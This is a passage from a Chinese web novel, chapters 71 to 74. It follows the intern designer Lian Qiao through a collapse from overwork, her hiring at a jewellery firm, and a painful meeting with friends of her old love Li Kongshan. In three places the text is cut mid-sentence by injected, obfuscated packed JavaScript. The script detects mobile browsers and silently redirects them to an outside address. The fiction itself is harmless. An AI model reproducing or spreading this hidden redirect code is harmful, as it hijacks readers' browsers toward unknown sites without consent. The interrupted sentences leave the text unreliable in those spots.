“你这倒是提醒我了,”秘书站在连翘旁边,两人正前方是董事长杜若华的办公室,“咱们董事长呢平时不怎么叫人进她办公室,如果有,就两个可能,要么这人犯了非常严重的错误,要么,这人让董事长很欣赏。另外,也不能在董事长面前提亲人。” 秘书前面提到的这些,连翘倒不觉得意外,可她最后这一句…… 她好奇看秘书,“为什么?” 秘书搪塞过去,“你知道这是董事长的禁忌就可以了,具体为什么,别问。” “哦……好,明白了。” 连翘点点头,行为举止都很规矩,秘书把她带到她的工位上,恰巧这时,杜若华打开办公室的门,从里面走出来。 把东西放好,连翘抬头望去。 她认出她来了。 是上次在警察局嚎啕大哭的那位女士。 - 大四这一年,连翘从学校搬出来,在外面租房子住,由于开始工作实习,她每天都回去得很晚。 有时还会加班到深夜,只因苦思冥想卡住的创意和设计。 有时也会一整夜都不回,直接在公司睡下,只为加班加点把材料样品弄出来。 连翘时时刻刻都提醒着自己,这是她唯一的机会,她没有后路,她必须得尽全力做好每一件小事,才能做最后留下来的唯一那个人。 以及——挤掉当初抢走她第一名、现在同样也在这批实习生里的高嘉欣。 有时候,连翘回去得很晚了,路上一个人也没有,若不是还有路灯给自己壮胆,她也许也没胆量一个人走完这条回家的路。 也有某个时候,她会感觉自己身后好像有人。 就像是站在远处默默注视着自己。 难道撞鬼了? 可等她鼓起勇气回头去看时,却看不到一个人影。 她想,也许这只是她太害怕产生的错觉,自己吓自己。 连翘不知道,但别人知道。 景融和许弋刚他们都很清楚,每天李空山每天晚上回来得很晚,无非就是在她不知道的夜晚里,默默送她回家。 虽然他嘴上不说。 但这并不代表无人知晓。 71. 第 71 章 设计组组长名叫崔秋珍,同时,她也是凯瑞产品部的经理,在今年人才引进计划中,由她负责带新来的实习生。 她看过实习组里每个人过往的设计和成品,哪怕其中不乏有能力者,但崔秋珍依然心高气傲,看不起任何一个实习生。 因为在她看来,这些人都太稚嫩,天赋远远不及她心目中的那位。 所以,她对实习组里的每个人打击都很严重。 每天不是交代她们做一些零碎繁杂的碎活,就是让她们到公司去跑腿送东西。 眼看着下个月的秋季新品发布就要到了,每个人手里的设计还没弄完,时间都被她挤压着去干别的无足轻重的小事。 不过,在这些人里,她针对得最厉害的——还是连翘。 在崔秋珍看来,连翘一没出身,二没家庭背景,想要在这个珠宝设计行业混,简直是异想天开。 即便在深夜看到只有连翘工位上的那盏灯还亮着,她依旧不屑,在她眼里,这批实习生里最早被淘汰的——一定是连翘。 崔秋珍对连翘总是很严厉,每当连翘呈交新的修改以后的设计稿上去给她过目,她总抨击连翘,说她这些设计稿丑得没眼看,还不如不要改。 可真是如此吗?当然不是。 她一味地想着去打击连翘,连她交上来的东西看都没看一眼。 连翘忙着试用样品珠子试做成品的时候,崔秋珍就来找茬,不是让她到产品部去送东西,就是让她到距离公司十三公里外的一家商场楼里买咖啡。 即便如此,连翘还是没有怨言,对于崔秋珍吩咐的那些,她都照做,等事情忙完,又重新回到自己的工位上弄样品。 要是换做其他人,早就忍不了了,但连翘懂得及时调整自己的心态。 她把这些全当做对自己的挑战,她想,这没什么大不了的,无非就是晚上多忙一会儿,挤一挤休息的时间就好。 一缕阳光透过落地玻璃照射进凯瑞总部的大楼。 现在是早上八点二十一分。 崔秋珍交接完发布会的流程以后,回到实习组,从每个人进度完成得差不多的样品旁绕了一圈,走到连翘背后。 连翘这次做的是什么,她不知道,因为她神神秘秘的,每次弄样品的时候,都在捣鼓披在上面的一层薄纱。 由于昨晚为了改样品的细节,连翘又忙到凌晨三点多才睡。她蹲在还未完成的样品前,实在太困,不禁打了个哈欠。 崔秋珍不以为然,目光中带有讽刺,“又打哈欠了?年纪轻轻不学好,就知道每天晚上回去网上冲浪,第二天上班打哈欠,影响工作质量,你负责?” “你们这些年轻人,真的是……”她“啧”了几声,随后走开。 对面的高嘉欣笑了笑,停下手里的活笑看连翘,“你听见没,下班以后少去熬夜冲浪,不然像你这样的人可不配留在凯瑞哦。” 连翘看她一眼,漠不关心,继续低头忙活自己手中的东西。 - 三个月的实习考核就要结束,距离实习组设计成品验收还有最后一天。 董事长杜若华明天将出席会议,验收并检查实习组提交的设计样品,决定最终谁的设计可以进入凯瑞珠宝饰品秋季发布会,以及谁可以最终留下,成为凯瑞的正式设计师。 这一天晚上,连翘早早地把样品及初稿、完稿分别准备好,放在蓝色纸盒中,等待着明天如约奉上。 她难得早早地睡下,期待着明天会有一个好的结果。 第二天,林帛圩起了个早。 天还没亮,他就骑单车到蛋糕店,自己亲手做了一个小蛋糕,换上干净崭新的衣裳以后,他又提着蛋糕出发去连翘的出租屋找连翘。 他起得早,蛋糕也练习了很多次,一整套流程下来,动作很快,所以现在出发,天也刚朦胧亮。 到连翘住的地方,才早上七点二十。 之所以这么早,是因为他要赶在连翘出门上班之前,把蛋糕亲手送给她。 一路上,林帛圩迎着朝霞,笑容洋溢,他很开心,因为今天是连翘二十二岁的生日。 把单车在小区楼下挺好以后,林帛圩就雀跃地提着蛋糕上楼,这么早,连翘一定还没走。 他的步子很欢快,一步一步跳着上楼,心里充满期待,不禁想象,连翘看到他出现以后会是怎样的表情,是惊喜吗?还是意外? 还未等林帛圩继续往下想,他刚拐弯再上一层楼,就猝不及防看见连翘昏迷不醒躺在地上,旁边还有她准备交上去的设计样品。 “翘翘!” 林帛圩慌了,把蛋糕放下,立即蹲下来,把她扶起。 他不停地呼喊她的名字,可是昏迷的人始终没有意识。 慌张不已的林帛圩赶紧拿出手机拨打救护车。 - 崔秋珍接到电话来医院的时候,一脸怨言,“不知道今天我们要开会吗?还有半个小时就开始了,给我搞这出?我说她不会是怂了吧?交不出一个好的作品,想拖延时间?” 急得在手术室外来回踱步的林帛圩双手叉腰,见到崔秋珍这幅样子就忍不住骂,“你有病啊你!谁拿自己的身体开玩笑?!” 他走过去,右手指着崔秋珍,“别以为我不知道你平时对连翘有多苛刻,今天她要是有什么问题,我绝对不会放过你!” 崔秋珍不屑地把目光挪开,“她有问题还不是她自己作出来的,每天熬夜网上冲浪,第二天到公司又开始犯困,她没问题谁有问题?” “够了!”林帛圩忍无可忍,气得左手握紧成拳,右手再一次指着崔秋珍,“哦?你以为她每天晚上睡那么晚是为了玩啊?她如果不是用心地对待这次的设计成品,她至于每天晚上都研究琢磨到那么晚吗?” “对了,你还有所不知吧,她有时候忙到连吃饭的时间都没有,为什么?因为她白天要去上班,下班以后还要去跑腿送东西赚钱,跑完以后回到家,又要开始画画赶稿子赚接稿钱,等到这个活也完成以后,她又要开始挑灯奋战,改稿、改样品细节、改材料搭配……” “你作为她组长,不关心关心员工就算了,还每天指派她干各种乱七八糟的碎活,你还有良心吗你——” 若不是林帛圩今日说起,崔秋珍还真不知道原来连翘每天那么多活要做,她不惊讶是不可能的,但更多的是心虚,挪开目光。 小声呢喃。 “那也还不全是她自找的……” “你给我等着!” 林帛圩拿起椅子上的蓝色盒子,“这是她的成品,你拿回去,现在她可以交差了,现在这儿没你的事,给我滚远点儿。” 崔秋珍抱着蓝色盒子,不知里面的作品如何,只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482802|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是瞪着林帛圩嘀咕,“没礼貌,粗俗!” 随后,她气愤地踩着高跟鞋离开。 写着“手术中”三个字的灯牌还亮着,手术还在继续,等候在外面的林帛圩来回踱步,心烦意乱,怎么都冷静不下来。 他是那么担心连翘的安危,急得额头上全是汗水,停下来的时候,两只手都在颤抖。 他的目光里,只有害怕。 中途,医生出来告知他,连翘这是急性A型主动脉夹层发作,和她平时经常熬夜,劳累过度,作息饮食不规律有很大的关系。 目前她的状况基本稳定。 但这是一种发作以后48小时内死亡率超过百分之五十的疾病,就像一种人体炸弹,以后必须注意病人生活,绝对不能小视。 林帛圩点头答应,松了一口气,但医生说的那句致死率超过百分之五十仍然令他心有余悸。 也就是说,她差一点就死在手术台上是吗…… 他无力地沿着白色墙壁坐了下去,目光空洞,无精打采。 他想,要是……要是他能看好连翘,不让她平时这么劳累就好了。 距离手术室不远的楼梯口。 李空山背靠着墙,听到了刚才的一切,包括林帛圩对崔秋珍行为的揭露,包括医生说的她的危险。 他垂下眼眸,目光黯淡,手攥得很紧,眼睛红红的,盯着天花板。 担心,害怕,但更自责。 他头戴黑色鸭舌帽,穿黑上衣,手里还攥着准备今日送给连翘的礼物。 早上的时候,他也去找了她,想趁她不知道的时候,把礼物送到她手里。 可是他在连翘住的楼下等了很久,没等来她出现,却等来林帛圩背着她慌张跑出来。 那时,她闭着眼睛,不省人事,脸色苍白。 这是一种令李空山无比熟悉的恐惧和害怕,就像奶奶和小海相继离开那天一样,他不能,不能再让他生命中最重要的人再离开了。 他跟着来医院,从林帛圩口中知晓这些年都在过着一种怎样的生活。 其实,李空山想不明白,他不懂连翘为什么要那么拼命,甚至连自己的生命也不爱惜。 但李空山不知道,连翘这么拼,只是为了有一天他可以看见闪闪发光的她啊。 - 连翘从手术室里被推出来以后,就进入了重症观察室。 林帛圩在她旁边守着,一步也不离开。 李空山只能在门外默默看着,隔着一段距离,确认她平安。 深夜的街道一个人也没有,高楼大厦熄了灯,只有地面的路灯还亮着。 李空山坐在路边河道岸边,心里有很多心事。 他目光黯淡,黑色鸭舌帽挡了一半的光,河岸路灯只照亮他的清晰的下颌。 他捡起一块石子儿,扔进河里,心有郁闷。 “你连自己都照顾不好,我当初又凭什么放你离开。” - 李空山在岸边坐了很久,他的思绪在漆黑的河面上飘啊飘,不知飘到了何处。 直到一通电话响起,才把他的思绪拉回。 “喂?”他接通电话,低哑的声音在黑夜中响起,“什么事?” “哥,景融来消息了,追踪器显示赵本奇已经到了榕城。” “知道了,我现在来。” 72. 第 72 章 凯瑞召开的实习生作品评定会议正在举行中。 杜若华坐在正中央,注意到有人缺席,问及一旁的秘书,“怎么少了一个人?” 秘书不知,看向崔秋珍。 崔秋珍笑笑解释,“哦……董事长,是这样的,这人在医院,暂时来不了,我帮她把作品带来了。” 杜若华点点头,目光注意扫过众人,神情庄严,“继续。” 在秘书的主持下,组里的每一个实习生逐一上前进行汇报展示,并将自己的成品珠宝设计在最后展示。 杜若华端着手臂,扫视他们的作品,面无表情。 直到最后一个人展示完,她都始终未曾提起兴致,“就没了?” 秘书想起角落里放着的蓝色盒子,“董事长,还有一位。” 崔秋珍挤眉弄眼,出声劝道:“杜董事,这名实习生我知道的,平时一心多用,一点儿也不专心,我估计啊她的作品也没什么好看的。我倒是觉得——刚刚高嘉欣设计的那对蓝手镯挺好看。” 闻言,坐在右侧的高嘉欣立即喜笑颜开,坐得都比方才端正不少。 杜若华不言,闭上烦躁的双眼。 秘书一向了解杜若华的微表情是什么意思,出声对崔秋珍说,“崔经理,董事长还在这儿,好像还没你说话的份儿吧。” 崔秋珍尴尬笑笑,缩回脑袋。 秘书走到角落里,端来崔秋珍随意搁置在那儿的蓝色盒子。 她将盒子放在桌子中间,当着众人的面,揭开盖子。 只见一层轻纱铺在表面。 轻纱下放着的是一对海棠红银钻连理花挂脖项链。当轻纱揭开的那一刻,轻纱上铺撒的光粉则会从缝隙中落到连理花挂脖项链上,配合着闪烁的银钻,那一刻,仿佛海棠花正开始在众人眼前栩栩如生绽放。 杜若华定睛看去,目光不禁被吸引。 打动她的除了这对挂脖海棠挂脖连理花的亮眼和别致外,还有铺在一旁的设计稿,从初稿设定到成稿修改,设计这对海棠挂脖连理花项链的人有多用心,不言而喻。 她笑了,拍手叫好,至少这些年来,她还没有遇到过像今天这对海棠连理花挂脖链一般令她眼前一亮的设计。 海棠连理花项链的结构经过精心设计,起伏顺应人体锁骨,所有看到这对海棠连理挂脖链的人都不仅想象,若是戴在皮肤白皙、身穿礼裙的人脖子上,该有多好看。 会议结束,凯瑞定下能转为正式设计师的人——她是连翘。 - 医院里。 连翘醒来的时候,林帛圩正枕着床沿休息,听见她翻身的声音,便立即醒来。 “你别动!你给我好好躺着休息!” 林帛圩见她要找东西,立即站起来出手阻止。 连翘看他,无所谓笑笑,轻描淡写,“我进医院了怎么你也进了,你真不愧是榕城好同事啊。” “笑,还笑?亏你笑得出来。” 林帛圩坐下来,一脸严肃盯着她,“你知不知道你多危险?你昨天差点连命都搭进去了!” 他伸出手把连翘掀开的医院被子盖的严严实实,“以后,你再也不能拿你的身体开玩笑,我会盯着你,你要是不好好休息照顾好自己!我就——” “你就怎样?”连翘不屑一顾,“你休想,你就是我一工作搭档,你管我可还管不到那么宽。” 林帛圩一时不知该说什么,连翘说得并无道理,他暂时找不到理由反驳。 连翘目光寻觅着手机,却无意间瞥见床边柜子上放着的一条吊坠,她好奇,“这是什么?” 林帛圩顺着她目光看去,拿起吊坠,“对哦,这是什么。” 他仔细打量,这才发现吊坠上挂着的是一朵连翘花。 林帛圩想,肯定是哪个人趁着他昨晚出去打水的时候,偷偷溜进来,放这上面的。 搞不好啊,就是连翘某个追求者。 连翘端详着林帛圩手里的吊坠,好奇开口,“是什么啊?我看看。” 林帛圩对于接近连翘的人都不放心,站起来,手拎着这条吊坠,“没什么好看的,可能是上个病人不要的,我去把它扔了。” “哎——你给我回来!” 连翘叫住林帛圩,故意凶巴巴地盯着他。 林帛圩这才没法,转身老实把吊坠还给连翘。 连翘盯着摊在手心里的这条坠子,蓦然想起几年前离开的前一晚,她把自己戴了很多年的坠子送给李空山后,就再没戴过任何东西。 她挪开目光,往病房门口瞧去,端详了许久,未能看见有谁的身影。 她握紧手心,似是在想什么。 林帛圩在连翘的招呼下,替她回了趟屋,把她的账本拿来。 连翘坐在病床上,满眼期待地去细数上面的账目。 她挣的每一笔钱,攒的每一笔钱,都记在上面。 “一万、两万、三万……十八万、二十二万……”连翘数着数着,不禁皱起眉头,一脸沮丧,“怎么还差这么多……” 一旁的林帛圩收拾东西,补了一刀,“不止,你这里住院动手术,还得再扣两万。” 连翘:“……” 林帛圩好奇,放下扫帚走到她旁边,“你这么期待着攒够钱,是准备去找谁啊?” 连翘小心翼翼合上账本,抱在怀里,一脸傲娇,“不告诉你。” 林帛圩眼见追问无果,不屑叹气,打开手机,首页的新闻令他两眼发光,连忙递到连翘眼前,给她看。 “看见没!凯瑞的新人设计师定了,是你!上面还说,下个月发布会,你会出场!” “我成功了?!” 连翘瞪大眼睛,兴奋得掀开被子站起来,仍旧难以置信,“真的是我?我成功了?因祸得福吗?看来动个手术好像也不是一件很坏的事!” 林帛圩把她按下去,神情严肃,“你给我好好躺着休息!不准乱动。还有,什么因祸得福,动手术再怎样也不是一件好事,你给我好好照顾自己身体!” 连翘乖乖躺下,一想起自己终于成为凯瑞正式设计师这件事,就不禁扬起笑容,“知道了——林叔叔——” 这是林帛圩第一次听见她这样叫自己。 他不禁动容了下,随着她笑笑。 连翘再次打开账本,认真又期待,“太好了,成为凯瑞的设计师,可以拿到二十万的人才引进费,这样一来,我离我的六十万目标只差二 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13496178|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十万了!” 她开心,雀跃。 林帛圩一边扫地上的灰,一边看她,情不自禁跟着开心。 - 发布会是连翘特别期待的一天。 因为这一天她将在万众瞩目之下登上台,以凯瑞设计师的身份讲话,那时,她将不再是从前小镇上怯弱的女孩,而是一个耀眼的存在。 她有时候甚至会想——不知身在何处的李空山是否也能看见。 由于还需住院观察一段时间,连翘这些日子无聊极了,哪儿也不能去。 某天,她躺在病床上补觉的时候,病房里浑然混入一个“怪异生物”。 医院电梯里,绍兴雨提着两箱补品走出来。 他两眼放光,信誓旦旦,相信自己一定可以按照李空山的吩咐,圆满完成把东西送来的任务。 他像个贼一样,鬼鬼祟祟,走到病房门口,左右各看了一眼,这才小心翼翼踮着脚尖走进去。 还好,帘子关着,看来病床上的人是在睡觉。 由于拉着帘子,绍兴雨先是趴在地上,想把礼盒推进去,而出于礼貌,他把头挪向外边,不随便乱看。 谁知,他趴在地上,冷空气钻入他鼻尖,一个喷嚏呼之欲出,震得安安静静的房间如临大敌。 绍兴雨:“!!!” 他大气不敢出一声,眼珠子像铜铃一样转来转去,屏息静气,发现病床上躺着的人没有醒,这才松了一口气。 继续刚才的任务,他推动礼盒,努力地把东西往落地帘子里面推。 忽然,病床上的人竟然发出声音。 连翘迷迷糊糊的,没有睡醒,也没有睁开眼睛,只是含糊问了句,“林叔叔,是你吗?” 不回答吧,连翘肯定要醒来看一看。 回答吧,他这声音…… 没办法,绍兴雨只好捏着鼻子,把声音放低,轻微出声,“对——啊——是——我——” 说这话的时候,他也有很努力地把补身体的营养品往里送。 闭着眼睛的连翘意识不清,翻个身,又含糊低估了句,“林叔叔,你什么时候去了趟马戏团,这声音都变得跟牛一样……” 绍兴雨睁大眼睛,不禁皱眉委屈,居然有人说他的声音像牛。送一趟东西,他容易吗? 他露出委屈的表情,心想:算了,我忍。 任务总算圆满完成,绍兴雨蹑手蹑脚站起,轻轻地拍拍裤腿上的灰,兴奋跑出去。 想要去向李空山领功。 可是刚一起势,跑到门口,就被打水回来的林帛圩拦下。 他一惊,立刻把脑袋低下,往左边走,林帛圩就在左边拦他。 往右边走,林帛圩又拦住他右边。 林帛圩疑惑地盯着他,“你谁啊你。” 绍兴雨:“……” 他心想完了完了,要暴露了。 突然,一个电话打来,林帛圩把拦住绍兴雨的手放下,拿出兜里的手机。 绍兴雨立即跟阵风儿似儿的溜了出去。 林帛圩盯着他跑远,只好先接电话,“喂,什么事?” 电话那边传来一道男声:“林总,你让我们找的保镖,我们找到了。” 73. 第 73 章 医院附近的一家咖啡厅里。 穿着朴素、跟普通工人没什么两样的林帛圩走了进去。 按照位置,他于种着天堂鸟的盆栽旁座位坐下,若有所思盯着对面的人,“……你就是他们找来的保镖?” “是我啊,有问题?” 男生懒散坐在对面,头戴黑色鸭舌帽,身穿英文字母黑体恤和牛仔工装短裤,漫不经心摆弄后脑勺的头发。 许弋刚站在李空山背后,见对面的林帛圩皱着眉头一脸不信,弯腰笑笑,好声好气朝对面的林帛圩解释:“你放一百个心!我们都是专业的,不管你是想找我们帮你打流氓,还是想让我们帮你送宝贵的东西,我们全都在行!” 闻言,林帛圩便递上一张照片,照片上的人坐在一张书桌前学习,耳机里播放着音乐,笑容很恬淡。 “我要你们帮我保护她,最好是帮我盯着她一日三餐有没有好好吃饭,要是你们能做贴身保镖就更好,我可以加钱。钱不是问题。” 李空山不屑一顾,放下枕在后脑勺的手,伸出去拿起桌面照片。 看了一眼后,他眼底有所动容,不动声色把照片重新轻轻放回。 “这单生意我不接。” “不接?”一旁的许弋刚听了,满脸狐疑,凑到李空山耳边窃窃私语,一脸着急,“哥,你是不是糊涂,他报的价那么高,赚的钱是平常单子的几倍,谁跟钱过不去啊?” “就、不、接!” 李空山偏头,瞪一眼许弋刚,随后挪回目光看林帛圩,振振有词,“她,我自己会保护,不需要你来开价。” 林帛圩满腹狐疑,闷闷不解盯着对面坐着的李空山,“你这年轻人,开什么玩笑哦,她是你什么人?轮得到你来保护?” 眼珠子转了转,林帛圩震撼,拍桌而起,“好哇——我知道了!你是不是对她有什么企图?” 林帛圩站起来走到木椅外,“亏我看你长得一脸正气,没想到你是这种人!我告诉你啊!你不接这单生意可以!不准打她的主意!” 李空山置若罔闻坐在椅子上,两只手重新枕在脑后,身子往后仰,闭着眼睛,气定神闲。 “我不接,是因为她无价,我自己会保护她,不需要别人来使唤,另外,我不是对她有什么企图,”他站起来,转身看林帛圩,“仅仅是因为,她是我的旧相识。” 林帛圩还想拦住李空山,问清楚他和连翘之间究竟是什么关系,可李空山脖子上戴着的那根黑绳木刻吊坠却更加吸引他的目光。 奇楠木吊坠很小,目测就指甲盖大小,上面刻着的字自然而然也很小,但林帛圩依稀能辨认清楚。 上面刻着的是两个字。 他好像知道眼前这个年轻人和连翘是什么关系了。 “欸,不继续说我了?” 李空山叉腰,探头往前凑,去看林帛圩,“既然你没什么想说的了,我可就走了啊。” 李空山挥挥手,示意许弋刚跟上,二话不说就走出咖啡厅。 林帛圩愣在原地。 许弋刚加快速度跟上李空山的步伐,满脸疑惑,皱眉感叹,“哥啊,这单子跟你保护她也不冲突啊,你想继续保护就继续保护呗,何必跟钱一般见识。” 李空山回眸盯他,“刚刚我说的什么,你全当耳边风了?” 许弋刚这才不敢再继续在李空山耳边叨叨,他埋下头,默默在心里头吐槽李空山真是个“见色忘利”的男人。 李空山忽然回头,盯着背后的许弋刚,“你小子是不是在背后说我坏话?” 许弋刚吓得一激灵,立马赔上笑脸,乐呵呵开口感叹,“哥——没有!我哪儿敢啊哥——” - 从咖啡店里走出来,助理问林帛圩这笔啥生意是否谈成。 林帛圩摆摆手,打开车门,坐回车里,摇头无言。 助理紧接着开口,“没关系林总,虽然他们这家公司业内口碑最好,但是我看还有其他几家保镖公司口碑也不错,我帮你再去联系。” “不用了。” 想清楚以后,林帛圩神情舒缓不少,他勾起嘴角,平易近人,“找谁都不如他。大概……在没有血缘关系的人里,只有他是唯一发自内心想对她好的人。” 司机发动车子,驶入远方,林帛圩偏头,看向窗外车水马龙,不禁感慨,“他们两个孩子这一路走来……一定都很不容易吧……” - 最近在凯瑞的工作越发熟悉上手,连翘的生活慢慢进入稳定阶段。 周天,窦皖吟约连翘出去逛街,说是要帮她选一套礼裙在凯瑞新品发布会上穿。 连翘想来自己也是好久没出去逛逛放松了,便一口答应。 窦皖吟在商场里看上一件又一件衣服,两个小时下来,她手里提着大大小小的袋子,倒是连翘一件也没买。 不是因为没有看不上的,而是她嫌价格太高,不划算。 窦皖吟提出送她一件,也被连翘拒绝。 但窦皖吟不听,一定要拉着连翘去选一套。 刚下电梯,目光寻觅着,窦皖吟看见了认识的人,忽然变得惊喜,“欸——翘翘,你看!是他们!” “他们?谁啊?” 窦皖吟解释,“就是上次帮我打流氓的人。有次我回家晚了,路上遇到地痞流氓,多亏他们出手救我!” 由于实在很欣喜,窦皖吟二话不说就拉着连翘跑向他们。 连翘疑惑,一边由窦皖吟拉着自己的手跑过去,一边顺着窦皖吟手指的方向看去。 跑得近些以后,连翘停下,怔在原地。 是他们。 许弋刚和孟河,还有绍兴雨。 几个男生也褪去了当初的青涩和稚嫩,穿着统一的黑背心和黑长裤,手臂上的肌肉有着常年训练的痕迹,各个身形健硕高挺,如李空山一般。 窦皖吟撒开连翘的手,欣喜跑到他们面前,拍拍他们的肩,“嘿!这么巧,你们也在这儿!还记得我吗?上次你们出手打流氓帮忙的女生。” 许弋刚皱眉,半眯着眼睛打量窦皖吟,仔细回忆。 孟河倒是快人一步率先想起,恍然大悟,长叹一声,嘴巴张开成O型,“是你啊——我想起来了!记得记得!” 窦皖吟打过招呼以后,目光落在绍兴雨身上。 他背对着众人而站,随手拿起奶茶摊点桌面上的宣传单,遮住自己的脸,好似在躲人。 窦皖吟把手背在身后,轻手轻脚悄悄走到绍兴雨后面,重重地拍了下他的肩,“绍兴雨!看见我来你也不打声招呼!难道——你故意躲着我吗?” 绍兴雨眨眨眼,假笑着回头,“没有,怎么可能。” “没有就好,”窦皖吟将信将疑盯一眼绍兴雨,招呼站在远处的连翘过来,“对了,给你们介绍一下,这是我朋友,她叫连翘,一名非常厉害的设计师!” 许弋刚和孟河没有看她,淡然地点点头,声音断断续续,“……哦,认识,以前认识……” “你们以前竟然认识,这么巧?”窦皖吟格外惊喜。 连翘难以置信,抬起步子向他们走来。 这一刻,就像做梦一样,她从未想过能有机会在这儿碰见他们。 不善开场白的言辞,连翘走到他们面前,忐忑紧张,“原来……你们也来榕城了,”她问出见到他们 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13509231|138842||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 以后最关心的问题,“李空山呢?他跟你们还有联系吗?这些年……他还好吗?还有奶奶和小海,他们怎么样?奶奶身体还安然吗?小海呢?怎么没和你们一起?” 许弋刚态度变得很冷淡,语气也不好,“托你的福,他过得一点儿也不好。” “什么意思?他是遇到什么难处了吗?李空山现在到底在哪儿?能不能带我去找他?” 连翘变得着急,语气迫切。 许弋刚似乎一句话都不想多解释,李空山所承受的一切,他都看在眼里,也不敢忘。 “不必——” “算我求你,别去找他了。没有你,他才能过得好。” 窦皖吟虽不知道他们过去发生了什么,但她也不允许别人随随便便诋毁自己的朋友,“许弋刚哥哥,你能不能好好和翘翘说话,你们过去不是认识吗?” 孟河凑到许弋刚耳边,小声嘀咕,“就是,刚子,你悠着点儿,好好说,别随便带私人情绪。不然哥哪天要是知道了,准儿找你算账。” “我就是实话实说,有问题?” 许弋刚气呼呼的,平日里做的都是保镖工作,脾气自然冲动暴躁,他指着连翘,“当初要不是因为你一声招呼都不打就离开,后面也许就不会发生那么多事儿!” 许弋刚说得没错,连翘愧疚的情绪涌上心头。 这些年,她从未忘记自己的任性和决绝,她垂下目光,声音变轻。 “对不起……当初是我的错,我不该不辞而别,”她想起什么,从包里拿出一张银行卡,是她平日里一直往里面攒钱那张,“现在我已经赚到一半多的钱了,再过些日子,我就还能再赚一些,当初欠李空山的我都能还上,你带我去找他可以吗?我可以还他钱。” “拿远点儿去——我们不稀罕!” 许弋刚推开连翘递来卡的手,“连翘我告诉你——你以为你把当初田永贵那点儿钱还上,你就永远不欠他了吗?不是!事实是,你欠他的,永远都还不起!” “当初明知道你要走,他还在那儿傻乎乎地想办法多挣点儿钱,偷偷跑到工地上去,顶着太阳暴晒,搬砖运水泥,就是为了帮你凑你未来朝思暮想的大学的学费!他为了做那么多,可你呢?你怎么对他的?说走就走!” “还有奶奶和小海,你不知道,你走的那天,他们也相继走了,离开了他。就在那一天,他跪在暴雨里,哭着说自己什么都没有了!” “你对他,怎么能如此狠心?” “你知道那天对他打击有多大吗?连翘!你什么都不懂!你欠他的,永远都还不起——” 许弋刚一吐为快,心里郁闷,看向孟河,咋咋呼呼地,“还愣着干什么,我们走!” 孟河连忙跟上许弋刚一起离开。 他回头看了眼连翘,递上深表歉意的目光,又指了指许弋刚背影,无声开口,用嘴型说,刚子这人脾气就这样,你千万别往心里去。 在一旁无辜观看的绍兴雨把宣传单放回三角桌,走到连翘和窦皖吟面前,“……那……我也走了。” 他也转身离去。 连翘怔怔立在原地,目光里似乎有眼泪在打转,仿佛她的眼前再次出现了烈日下在工地干苦力活的少年背影。 她知道自己亏欠了李空山很多,她是愧疚的,可是,她也有自己想去追逐的道路。 她承认,自己对李空山很残忍。 连翘低下头,眼泪啪嗒落了出来,滴在商场的地砖上,周围人声喧闹嘈杂,脚步纷纷,她的难过和愧疚无声又震耳。 窦皖吟看连翘的目光里带着心疼,她环住连翘的肩,让她靠着自己,轻轻拍拍肩臂,“没事……” 74. 第 74 章 公园长椅处。 窦皖吟给连翘递去一张纸巾,心疼问,“刚刚他们提起的那个人,是你以前的什么人?” 虽然眼泪已停止在连翘眼中肆虐,但她此刻的眼睛依旧红红的。 她低下头,声音很轻。 “一个……没有义务,却仍全心全意对我好的人。” 窦皖吟好奇,紧接着问,“那是你喜欢的人吗?对你很重要是吗?” 连翘没有回答,失落地盯着脚下,此刻她情绪的起伏早已证明李空山在她心中的分量。 “那他们为什么说你离开了他,是因为他不够好吗?” “不是,”连翘摇头,“很多人可能觉得他这个人不正经,不靠谱,但我知道,他是这个世界上最好的人。我要离开,不是因为他不好,只是我想活出自己的世界,我不想一辈子都做别人的附庸。” “这样啊,”窦皖吟若有所思点点头,“那你可千万别忘心里去,我想,他把你看得那么重要,肯定不会怪你的。” 连翘攥紧手心里的纸巾,无力笑笑,“你这么确定?” “当然了,我敢百分百肯定,”窦皖吟接着往下说,“我第一天认识绍兴雨的时候,我就问他,爱一个人是怎样的?” “他说,他不知道,但是他见过爱一个人是怎样的——像他老大那样,即便对方看不到,依然竭尽全力对她好,日日夜夜思念,没有一天断过。” 连翘微愣,偏头看她,“……那……你觉得我能不能回去找他?” 窦皖吟鼓励连翘,“当然能!我们的翘翘现在已经证明了自己,当然能有权利去选择自己的爱。” - 连翘走在回家的路上,万般思绪都在编织去找李空山的理由。 树叶轻轻然落下,铺在泥土地里。 这时,包里的电话响起。 连翘接通,手机举在耳边,“喂?孙阚平?你打电话找我有什么事吗?” 